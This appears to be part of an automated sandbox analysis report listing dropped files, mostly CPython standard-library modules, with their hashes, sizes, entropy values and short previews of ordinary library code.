SHA-512:	0CB25AB2DBAD2811AEBF5186FD5D5996BC66AE113D2F19EE56F397840E9F630D224829969774D91E00168105B6DB800B707C15A2CB898FA75BA91348B9D3922F
Malicious:	false
Reputation:	low
Preview:	"""Exception classes raised by urllib.....The base exception class is URLError, which inherits from OSError. It..doesn't define any behavior of its own, but is the base class for all..exceptions defined in this package.....HTTPError is an exception class that is also a valid HTTP response..instance. It behaves this way because HTTP protocol errors are valid..responses, with a status code, headers, and a body. In some contexts,..an application may want to handle an exception like a regular..response..."""..import io..import urllib.response....__all__ = ['URLError', 'HTTPError', 'ContentTooShortError']......class URLError(OSError):.. # URLError is a sub-type of OSError, but it doesn't share any of.. # the implementation. need to override __init__ and __str__... # It sets self.args for compatibility with other OSError.. # subclasses, but args doesn't have the typical format with errno in.. # slot 0 and strerror in slot 1. This may be better than nothing... def __ini

C:\Users\Public\QExvbmVOb25l\Lib\urllib\parse.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	43463
Entropy (8bit):	4.67743372821875
Encrypted:	false
SSDEEP:	768:z15Re+AP2AZ6pDPMSejN/3vzXZmErW63SMZ/dqH9qLc48nGLDwzKiu4U5FRyFxXf:z1u+bRoRlpZY0LoKD95FkFxP
MD5:	93EED57FB7B8E0BA840402C2189F2501
SHA1:	7BAEE34ECCF9EB12A2ED4E18033A395E4B19253A
SHA-256:	A70A09CD0CF91D735AE6B121D0F790FC9A8F497918794A72485F1DEAB360DBC2
SHA-512:	5904086E7C9A325083554FD862ED7868C147C33B137AA38DA3F4C9E3E2FB1E15001307130364000AF71BF6ACA89B92B1BEBA828B6AE721F1CC2CF20DC519569D
Malicious:	false
Reputation:	low
Preview:	"""Parse (absolute and relative) URLs.....urlparse module is based upon the following RFC specifications.....RFC 3986 (STD66): "Uniform Resource Identifiers" by T. Berners-Lee, R. Fielding..and L. Masinter, January 2005.....RFC 2732 : "Format for Literal IPv6 Addresses in URL's by R.Hinden, B.Carpenter..and L.Masinter, December 1999.....RFC 2396: "Uniform Resource Identifiers (URI)": Generic Syntax by T...Berners-Lee, R. Fielding, and L. Masinter, August 1998.....RFC 2368: "The mailto URL scheme", by P.Hoffman , L Masinter, J. Zawinski, July 1998.....RFC 1808: "Relative Uniform Resource Locators", by R. Fielding, UC Irvine, June..1995.....RFC 1738: "Uniform Resource Locators (URL)" by T. Berners-Lee, L. Masinter, M...McCahill, December 1994....RFC 3986 is considered the current standard and any future changes to..urlparse module should conform with it. The urlparse module is..currently not entirely compliant with this RFC due to defacto..scenarios for parsing, and for backward compa

C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	104880
Entropy (8bit):	4.4616704457405785
Encrypted:	false
SSDEEP:	3072:hhI8oMeTXIt9w6jWbSdYOt/su7pxtzQhjortW7OyjarA05XfJtwTJTL6KvS4DGlm:4MeTX49w6jWbSd/t/su7pxtzQh0rtW7n
MD5:	AFE01E917CE572825DA95E2F73C3A182
SHA1:	B594E4DF01E500977FCE80A72D5D394EB88936F2
SHA-256:	A07AF23F83F01C5567676BDE1E4CD9FA58161B1D2BBCE00DB630AE881A011416
SHA-512:	E54F110C9232B72EE23C7B3B35D8FB09B6223372EEF98F7B82092F8912379734F45CCC01DDE6822D2C302E9EAC7E36B0A15A65BA62B1674262184C462EF414F6
Malicious:	false
Reputation:	low
Preview:	"""An extensible library for opening URLs using a variety of protocols....The simplest way to use this module is to call the urlopen function,..which accepts a string containing a URL or a Request object (described..below). It opens the URL and returns the results as file-like..object; the returned object has some extra methods described below.....The OpenerDirector manages a collection of Handler objects that do..all the actual work. Each Handler implements a particular protocol or..option. The OpenerDirector is a composite object that invokes the..Handlers needed to open the requested URL. For example, the..HTTPHandler performs HTTP GET and POST requests and deals with..non-error returns. The HTTPRedirectHandler automatically deals with..HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler..deals with digest authentication.....urlopen(url, data=None) -- Basic usage is the same as original..urllib. pass the url and optionally data to post to an HTTP URL, and

C:\Users\Public\QExvbmVOb25l\Lib\urllib\response.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2445
Entropy (8bit):	4.431974454129167
Encrypted:	false
SSDEEP:	48:r4BbvTGvQS07lPgWWdq9tsrdyW19ej5wkwBkvR:MBzaQS07lY5cjtWywkwBkZ
MD5:	D531F0A30312F650F962EAA31652AEBB
SHA1:	A565B2AB6F6A05F0681B62B5E2E77B9BC25D3683
SHA-256:	3B79834FB777BCC3601B05C8A2BBFAB1A72BF99B10E5A5D2C20A7C3A4583D0CF
SHA-512:	25BBA9683CC29296DD103473FBDC24CF7037FCC9736494DA749B3BB9A4189B108B2CDC586AEB923BF2B48D147FFBB306D073F2A1BB1430599B8AE74F6CB629E6
Malicious:	false
Reputation:	low
Preview:	"""Response classes used by urllib.....The base class, addbase, defines a minimal file-like interface,..including read() and readline(). The typical response object is an..addinfourl instance, which defines an info() method that returns..headers and a geturl() method that returns the url..."""....import tempfile....__all__ = ['addbase', 'addclosehook', 'addinfo', 'addinfourl']......class addbase(tempfile._TemporaryFileWrapper):.. """Base class for addinfo and addclosehook. Is a good idea for garbage collection.""".... # XXX Add a method to expose the timeout on the underlying socket?.... def __init__(self, fp):.. super(addbase, self).__init__(fp, '<urllib response>', delete=False).. # Keep reference around as this was part of the original API... self.fp = fp.... def __repr__(self):.. return '<%s at %r whose fp = %r>' % (self.__class__.__name__,.. id(self), self.file).... def __enter__(self):..

C:\Users\Public\QExvbmVOb25l\Lib\urllib\robotparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9697
Entropy (8bit):	4.15994740890475
Encrypted:	false
SSDEEP:	192:LEvpw5Ct9tcVd/2/paTJqSXkkOFGAiRiH57f/ivoiqN9/qVRjmGSEBaL/KK8Wh/R:46Ct9tcVFTJqF7fOQoVVB0GK8WP3
MD5:	A024DF2786691CF05997954F37178BE0
SHA1:	617ACE96E03067AD58490972A1E2122885C19813
SHA-256:	05CED87A4F681014F6A5BF7370680CDCE02B392A559832CB6D2AA2F910F7D5EB
SHA-512:	FA3406801D1D39B9BFCF052A473F297E2782F19F18A5C24139E94088F5AAABC15D1EFE7269E4E7426E13DD4DA0BC92F0A9C661B3325CEE171E3C910EA6820793
Malicious:	false
Reputation:	low
Preview:	""" robotparser.py.... Copyright (C) 2000 Bastian Kleineidam.... You can choose between two licenses when using this package:.. 1) GNU GPLv2.. 2) PSF license for Python 2.2.... The robots.txt Exclusion Protocol is implemented as specified in.. http://www.robotstxt.org/norobots-rfc.txt.."""....import collections..import urllib.parse..import urllib.request....__all__ = ["RobotFileParser"]....RequestRate = collections.namedtuple("RequestRate", "requests seconds")......class RobotFileParser:.. """ This class provides a set of methods to read, parse and answer.. questions about a single robots.txt file..... """.... def __init__(self, url=''):.. self.entries = [].. self.sitemaps = [].. self.default_entry = None.. self.disallow_all = False.. self.allow_all = False.. self.set_url(url).. self.last_checked = 0.... def mtime(self):.. """Returns the time the robots.txt file was last fetched..... This i

C:\Users\Public\QExvbmVOb25l\Lib\uu.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7165
Entropy (8bit):	4.635646219278868
Encrypted:	false
SSDEEP:	96:IqFD4C1j1e5e65PARhQ3E2Q/N56npYv9EVBDgcDrkONFhnlO7c0pz:1zj1Qe8PARQEH/6nSVEVve7c0pz
MD5:	CDE9C803E2AC98627170F6CDD8030520
SHA1:	5AF6EC7A8B5D787F56FCE7B01F9D103B5D22C3A5
SHA-256:	35CD5F9AB4611102799F21E7EFFA5F31EFEE56826E0383F59BAFD27BB3598B9A
SHA-512:	942A451A97BD6099C2608685E2097588527627FB1825127E622BA8359E1C104205F89036118241DFB44309077DFE818D703F91116D537A235AFD0B04F3C92D0F
Malicious:	false
Reputation:	low
Preview:	#! /usr/bin/env python3....# Copyright 1994 by Lance Ellinghouse..# Cathedral City, California Republic, United States of America...# All Rights Reserved..# Permission to use, copy, modify, and distribute this software and its..# documentation for any purpose and without fee is hereby granted,..# provided that the above copyright notice appear in all copies and that..# both that copyright notice and this permission notice appear in..# supporting documentation, and that the name of Lance Ellinghouse..# not be used in advertising or publicity pertaining to distribution..# of the software without specific, written prior permission...# LANCE ELLINGHOUSE DISCLAIMS ALL WARRANTIES WITH REGARD TO..# THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND..# FITNESS, IN NO EVENT SHALL LANCE ELLINGHOUSE CENTRUM BE LIABLE..# FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES..# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN

C:\Users\Public\QExvbmVOb25l\Lib\uuid.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28233
Entropy (8bit):	4.867217589417424
Encrypted:	false
SSDEEP:	768:hq/jU0Qc7Ad2XLCqXcppi4D9rGcMyiNB/2TFbVjjh5:hq/I0QcUcX+qXcppi7Ijh5
MD5:	ECA958D6B61E6FA8319F071C7D3CA253
SHA1:	657398649832132808FD5DDB3B05240525758535
SHA-256:	AC5DD1BFF2AC117CF1D1A9F86131D2E93C935CA59CF0A89D6ABB05295EDF007B
SHA-512:	D856FBADF451F3C6126F6EC65CFBD31A240496EFA88E77FCEB4298618F8192A07523C9360225C48404EDF12E6E71EA0C54B96AB7A9844AB51AB3C23D35D74B73
Malicious:	false
Reputation:	low
Preview:	r"""UUID objects (universally unique identifiers) according to RFC 4122.....This module provides immutable UUID objects (class UUID) and the functions..uuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5..UUIDs as specified in RFC 4122.....If all you want is a unique ID, you should probably call uuid1() or uuid4()...Note that uuid1() may compromise privacy since it creates a UUID containing..the computer's network address. uuid4() creates a random UUID.....Typical usage:.... >>> import uuid.... # make a UUID based on the host ID and current time.. >>> uuid.uuid1() # doctest: +SKIP.. UUID('a8098c1a-f86e-11da-bd1a-00112444be1e').... # make a UUID using an MD5 hash of a namespace UUID and a name.. >>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org').. UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e').... # make a random UUID.. >>> uuid.uuid4() # doctest: +SKIP.. UUID('16fd2706-8baf-433b-82eb-8c7fada847da').... # make a UUID using a SHA-1

C:\Users\Public\QExvbmVOb25l\Lib\warnings.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20237
Entropy (8bit):	4.456113748681824
Encrypted:	false
SSDEEP:	384:VIGjFGnRqmpRXDeU+e6TNkedNr/vFx0BWSvs31I:VI4GnRqm2xtOBDs31I
MD5:	75CDCBE366D13B7C463830D8FAF2DBE5
SHA1:	BBAA1236B789B5D2511A938A604361E32AEA6D6F
SHA-256:	2B0C512178EAF53227CD7D336FBC5E055509048B8E1D9CE7CBB33D56B968D4BA
SHA-512:	E9B77E373F793355BA7822C39D141054B13772D4C2124E95CB8E9FFBC684D9AB2107FFDB5C9C8009E4541CD4F1169D3AEF825AB398FB73151BA60D05963EA045
Malicious:	false
Reputation:	low
Preview:	"""Python part of the warnings subsystem."""....import sys......__all__ = ["warn", "warn_explicit", "showwarning",.. "formatwarning", "filterwarnings", "simplefilter",.. "resetwarnings", "catch_warnings"]....def showwarning(message, category, filename, lineno, file=None, line=None):.. """Hook to write a warning to a file; replace if you like.""".. msg = WarningMessage(message, category, filename, lineno, file, line).. _showwarnmsg_impl(msg)....def formatwarning(message, category, filename, lineno, line=None):.. """Function to format a warning the standard way.""".. msg = WarningMessage(message, category, filename, lineno, None, line).. return _formatwarnmsg_impl(msg)....def _showwarnmsg_impl(msg):.. file = msg.file.. if file is None:.. file = sys.stderr.. if file is None:.. # sys.stderr is None when run with pythonw.exe:.. # warnings get lost.. return.. text = _formatwarnmsg(msg).. try:..

C:\Users\Public\QExvbmVOb25l\Lib\wave.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18517
Entropy (8bit):	4.368436724087491
Encrypted:	false
SSDEEP:	192:l9EqMa1yctYScMTScRDpMZNCLSz7aYWTRhbtsKeU0hgIidMOhK58v36W1:lHM8ycyStUILSz7aYWTRhbtss0h9631
MD5:	D55129AF4810C592A87D75480D44C73F
SHA1:	A15D2AD39D8264C6851C5445CE08FC7A03B4426C
SHA-256:	0CC87A2E89B8B3AF9470A8EF92944EDEFD4A05E1D9ADEA6F2326F9C8E0AE78FC
SHA-512:	89B648FAB150243609A06722574434B09280941DF74845CE3B4A730A1EA55313565E32B4D439BD16B41EC272505C87C025CEBEA60026682720964790658E911D
Malicious:	false
Reputation:	low
Preview:	"""Stuff to parse WAVE files.....Usage.....Reading WAVE files:.. f = wave.open(file, 'r')..where file is either the name of a file or an open file pointer...The open file pointer must have methods read(), seek(), and close()...When the setpos() and rewind() methods are not used, the seek()..method is not necessary.....This returns an instance of a class with the following public methods:.. getnchannels() -- returns number of audio channels (1 for.. mono, 2 for stereo).. getsampwidth() -- returns sample width in bytes.. getframerate() -- returns sampling frequency.. getnframes() -- returns number of audio frames.. getcomptype() -- returns compression type ('NONE' for linear samples).. getcompname() -- returns human-readable version of.. compression type ('not compressed' linear samples).. getparams() -- returns a namedtuple consisting of all of the.. above in th

C:\Users\Public\QExvbmVOb25l\Lib\weakref.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22235
Entropy (8bit):	4.290222224385809
Encrypted:	false
SSDEEP:	384:eJT8HzCblJPEwGmyZVPjY8c4jDyCYAym+TiH9QHORqQeIXjWi86wow0wHRegJn9d:aVEPOpRUBzSmOjJnCoWaDf3DjJnRKs
MD5:	77D4C5645BC5F43355F2490B0DB5330D
SHA1:	C1D67552A3A49361A322BFCF9E4A925DE3E7AB57
SHA-256:	666C9958ACF3D1A307170E7E6DF53BB064C63EA4995627E870552EFA088D9A9D
SHA-512:	5A4F5864BA0813736B171CF90B90F971455D53236EE0324578CBE211BFCCB30EED11334B388C5D7D6B412D6ED25694F56948E31F440B4FDFF0C1FA76CDD5D38F
Malicious:	false
Reputation:	low
Preview:	"""Weak reference support for Python.....This module is an implementation of PEP 205:....https://www.python.org/dev/peps/pep-0205/.."""....# Naming convention: Variables named "wr" are weak reference objects;..# they are called this instead of "ref" to avoid name collisions with..# the module-global ref() function imported from _weakref.....from _weakref import (.. getweakrefcount,.. getweakrefs,.. ref,.. proxy,.. CallableProxyType,.. ProxyType,.. ReferenceType,.. _remove_dead_weakref)....from _weakrefset import WeakSet, _IterationGuard....import _collections_abc # Import after _weakref to avoid circular import...import sys..import itertools....ProxyTypes = (ProxyType, CallableProxyType)....__all__ = ["ref", "proxy", "getweakrefcount", "getweakrefs",.. "WeakKeyDictionary", "ReferenceType", "ProxyType",.. "CallableProxyType", "ProxyTypes", "WeakValueDictionary",.. "WeakSet", "WeakMethod", "finalize"]......_collections_abc.Se

C:\Users\Public\QExvbmVOb25l\Lib\webbrowser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	24962
Entropy (8bit):	4.4821654414982
Encrypted:	false
SSDEEP:	384:Dw+gtAvw1CThtWcOGsmCZXt11GhVqbzkeZEyF:DwXyhccVCZXiDO
MD5:	C6235576ACFA074E0602F8286D6AE967
SHA1:	E7D5740885F262528495F54F1C29E991C4C878E7
SHA-256:	91DE52B10A90BC40792725B914E2184671E2E2EE0D32E3BA6B1EC027E63BDC51
SHA-512:	1446B528F4A41C4ABC1E532F408CCDA8F4530C37E711E12A80E2141BBEEF4A98A5740EF4B759AFCCFDBD18A2D9FEC7A5A08F0BD87424EB084CF8AF6508A22BE4
Malicious:	false
Reputation:	low
Preview:	#! /usr/bin/env python3.."""Interfaces for launching and remotely controlling web browsers."""..# Maintained by Georg Brandl.....import os..import shlex..import shutil..import sys..import subprocess..import threading....__all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]....class Error(Exception):.. pass...._lock = threading.RLock().._browsers = {} # Dictionary of available browser controllers.._tryorder = None # Preference order of available browsers.._os_preferred_browser = None # The preferred browser....def register(name, klass, instance=None, *, preferred=False):.. """Register a browser connector.""".. with _lock:.. if _tryorder is None:.. register_standard_browsers().. _browsers[name.lower()] = [klass, instance].... # Preferred browsers go to the front of the list... # Need to match to the default browser returned by xdg-settings, which.. # may be of the form e.g. "fir

C:\Users\Public\QExvbmVOb25l\Lib\xdrlib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6154
Entropy (8bit):	4.544312365119713
Encrypted:	false
SSDEEP:	96:l3vVO5EFsFUxepdMJhp1ygk+3PGo7YytCl:l3ujSg0w6GMYywl
MD5:	AB44399A4ABB9874B0F2C2D5F9FEA306
SHA1:	0E1F67F497D7E3A497A6EBD8ED6DBAEE11A83656
SHA-256:	A9043DAD797D72C31A4A01AD4069D83AC894720EF8E72490831676A8517D0853
SHA-512:	1B905F86AF613D9AF99E2046AA82EB2C1271C7E2384DF010DBCFEC37736C2CC2592956CEB08DF567FA3CDA12B8135C55E75081727EA258921E4F8FCA6AC6C6EB
Malicious:	false
Reputation:	low
Preview:	"""Implements (a subset of) Sun XDR -- eXternal Data Representation.....See: RFC 1014...."""....import struct..from io import BytesIO..from functools import wraps....__all__ = ["Error", "Packer", "Unpacker", "ConversionError"]....# exceptions..class Error(Exception):.. """Exception class for this module. Use:.... except xdrlib.Error as var:.. # var has the Error instance for the exception.... Public ivars:.. msg -- contains the message.... """.. def __init__(self, msg):.. self.msg = msg.. def __repr__(self):.. return repr(self.msg).. def __str__(self):.. return str(self.msg)......class ConversionError(Error):.. pass....def raise_conversion_error(function):.. """ Wrap any raised struct.errors in a ConversionError. """.... @wraps(function).. def result(self, value):.. try:.. return function(self, value).. except struct.error as e:.. raise ConversionError(e.args[0]) from None.. retur

C:\Users\Public\QExvbmVOb25l\Lib\zipapp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Nim source code, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7741
Entropy (8bit):	4.6850395961561775
Encrypted:	false
SSDEEP:	96:ocnKpf1Jnkgp9Gw06hznakQ+czXoC/KkWb2z7rKUK4mSaY9wRnKwfRuPKJaR0:ocR6VncLoC/Kk22z7P5Z0RFfO0
MD5:	A981793A5C496164DFB5AFC8212CCABE
SHA1:	D4309C07CFE248A9725290922937F21363550AE4
SHA-256:	EF6D063E7337F6D83FBBB4CA3ADAF321B35CBB3AF736A25D2D637231346E3117
SHA-512:	010D2A3AC76A022165E4564CF9A26A3B3324E8585CCCA1C66EE173A4C6A105993FA55B93576B0C48B271C182AC9CE87BD3CE7441CD76E2B19DE0C1907147379D
Malicious:	false
Reputation:	low
Preview:	import contextlib..import os..import pathlib..import shutil..import stat..import sys..import zipfile....__all__ = ['ZipAppError', 'create_archive', 'get_interpreter']......# The __main__.py used if the users specifies "-m module:fn"...# Note that this will always be written as UTF-8 (module and..# function names can be non-ASCII in Python 3)...# We add a coding cookie even though UTF-8 is the default in Python 3..# because the resulting archive may be intended to be run under Python 2...MAIN_TEMPLATE = """\..# -- coding: utf-8 --..import {module}..{module}.{fn}().."""......# The Windows launcher defaults to UTF-8 when parsing shebang lines if the..# file has no BOM. So use UTF-8 on Windows...# On Unix, use the filesystem encoding...if sys.platform.startswith('win'):.. shebang_encoding = 'utf-8'..else:.. shebang_encoding = sys.getfilesystemencoding()......class ZipAppError(ValueError):.. pass......@contextlib.contextmanager..def _maybe_open(archive, mode):.. if isinstance(

C:\Users\Public\QExvbmVOb25l\Lib\zipfile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	91926
Entropy (8bit):	4.530877476231924
Encrypted:	false
SSDEEP:	1536:A6wB2cR7Tt7+IQOU+OnDKHnCrYYs+NocBa0q8Y:A6Ud+I9U+OnDKHCrRO8Y
MD5:	5AB203B50E60C14191FC1EED8A6DC2F9
SHA1:	44C4518C0971E7858CA45F50347820177964971E
SHA-256:	2E155CDE604896D9903A4C529B89FA768E75F6E17FB7A60DB0AC2190B0B34456
SHA-512:	A7ED4066F7FA40161E34B390C62FC9AB7B4E2EC784A9AF96C7A10F32C5D01419B5134C8639EDD1858D9C4876A2752A1863DC798BD9011ED04D6E3983263C0A4A
Malicious:	false
Reputation:	low
Preview:	"""..Read and write ZIP files.....XXX references to utf-8 need further investigation..."""..import binascii..import importlib.util..import io..import itertools..import os..import posixpath..import shutil..import stat..import struct..import sys..import threading..import time..import contextlib..import pathlib....try:.. import zlib # We may need its compression method.. crc32 = zlib.crc32..except ImportError:.. zlib = None.. crc32 = binascii.crc32....try:.. import bz2 # We may need its compression method..except ImportError:.. bz2 = None....try:.. import lzma # We may need its compression method..except ImportError:.. lzma = None....__all__ = ["BadZipFile", "BadZipfile", "error",.. "ZIP_STORED", "ZIP_DEFLATED", "ZIP_BZIP2", "ZIP_LZMA",.. "is_zipfile", "ZipInfo", "ZipFile", "PyZipFile", "LargeZipFile",.. "Path"]....class BadZipFile(Exception):.. pass......class LargeZipFile(Exception):.. """.. Raised when writing a zipfile, th

C:\Users\Public\QExvbmVOb25l\Lib\zipimport.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31670
Entropy (8bit):	4.640811570675585
Encrypted:	false
SSDEEP:	768:lO/4o/ka5N9a5LL5pEveF+SS6s5Ag0k6BX8BpL:lOZ/XugefS6aAg04
MD5:	C35072F99E2CD83443AC1DB234B1716D
SHA1:	68DD726663BBE88215BFC5BF122FB82B7DE83592
SHA-256:	52580EB9D1D0607A5139EA2E6EC847CFB5DA30C37F1462E5072C960287A547E2
SHA-512:	BAD94CDC61C314DDF965C07A98304ACED800FFFA3BA5E10E32650CB026F8BDCF1F2B9A064A2C319AF7DCF3C25C09018663ABD136E16256F6736E991243636B37
Malicious:	false
Reputation:	low
Preview:	"""zipimport provides support for importing Python modules from Zip archives.....This module exports three objects:..- zipimporter: a class; its constructor takes a path to a Zip archive...- ZipImportError: exception raised by zipimporter objects. It's a.. subclass of ImportError, so it can be caught as ImportError, too...- _zip_directory_cache: a dict, mapping archive paths to zip directory.. info dicts, as used in zipimporter._files.....It is usually not needed to use the zipimport module explicitly; it is..used by the builtin import mechanism for sys.path items that are paths..to Zip archives..."""....#from importlib import _bootstrap_external..#from importlib import _bootstrap # for _verbose_message..import _frozen_importlib_external as _bootstrap_external..from _frozen_importlib_external import _unpack_uint16, _unpack_uint32..import _frozen_importlib as _bootstrap # for _verbose_message..import _imp # for check_hash_based_pycs..import _io # for open..import marshal # for lo

C:\Users\Public\QExvbmVOb25l\lib\pycache\future.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4144
Entropy (8bit):	5.361852365766103
Encrypted:	false
SSDEEP:	96:zgdNzUuGd+P2sKNUWAom2j8kQAnPPELBG0uY:q4BRRAom1gPG00uY
MD5:	238CAB637058DFE2CD240BC466A24952
SHA1:	99D9E8F59DD7F21F3EEEA38E8B97E1A892317B76
SHA-256:	1C6A7F6DD67BCDAD253CA16589BEAD5D3A8BB046379F2DB0C23018E4A5277A17
SHA-512:	329A1ADF8E63FE143F0D9D3D021AA327E20BB3E142C2FA38DCCB3C743AB6C0BB6FDEC2C638E1C56E194087B59441DAF911067276D6FBEFDBD1D524D7AFE977A8
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

C:\Users\Public\QExvbmVOb25l\lib\pycache\_collections_abc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	32938
Entropy (8bit):	5.035332633387824
Encrypted:	false
SSDEEP:	768:WpD08l+6pg6mG5JlooICwimTmIufuBEQtJHVDOA/8AH:uFl+VVSooICwimT3ufu+AJ1DOcvH
MD5:	B3C01D3CB0E0126489088960DB293F5A
SHA1:	F26F268B6A304129B01D4D4A43815D5EC49FE125
SHA-256:	3950BE0C845DB61A814A23F940726C6F2CE7266497FD843EA3E68AD2E4ED9EF1
SHA-512:	E18C763B95EFC56DEFFC3B94039B766D39B54E60B0B56260CA5BCEA19C5EC2D3E9297A732390FAB67FBDC0C5894AC7947CCA47960C011927F8FE1C1B8C264C4A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

C:\Users\Public\QExvbmVOb25l\lib\pycache\_compression.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4525
Entropy (8bit):	5.143682408486357
Encrypted:	false
SSDEEP:	96:inAZIr5Fc+SHmtPK4Q9XEf9j0K5ULIPmwPu7gKxNW4q4RqOJd0f:iNvByEeIOQCxNWQRqOT0f
MD5:	927EEB6AFD37AD56BD9F4A90AE269759
SHA1:	1D9F7E3D18183587DB01F03805183FFAAB141A4A
SHA-256:	4288B1098DCB7B0277D84132A5E7C0DE40AB70E9B7437F4668A0E4F8A57CB02D
SHA-512:	67F6187C24EE6197637CB3FFA1A40D6D331A1C913F881943829C279CE47CBBAC33F8E1907DCADAB9DA250D4EDA8E367434EE90FFAD5A2AC38DEF6963E5795D93
Malicious:	false
Reputation:	low
